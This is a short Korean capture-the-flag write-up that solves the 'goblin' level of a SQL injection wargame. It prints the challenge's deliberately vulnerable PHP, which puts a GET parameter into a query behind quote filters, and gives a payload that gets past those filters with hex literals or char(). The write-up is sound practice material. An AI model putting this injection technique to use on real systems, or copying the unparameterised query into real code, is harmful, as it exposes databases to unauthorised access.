728x90
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin"); //쿼리 실행 결과 id가 admin이어야함.
highlight_file(__FILE__);
?>
',",`가 필터링된다.
MySQL에선 ' 없이 문자를 16진수와 char 함수로 표현가능하다.
char 함수는 아스키코드 문자를 반환한다.
답: ?no=123 or id=0x61646d696e
123은 임의의 값이다. DB에 없을 것이다.
0x61646d696e 는 admin의 hex값이다. 0x61: 'a', 0x64: 'd'...
char(97,100,109,105,110)으로 대체가능. char(97): 'a', char(100): 'd'...
728x90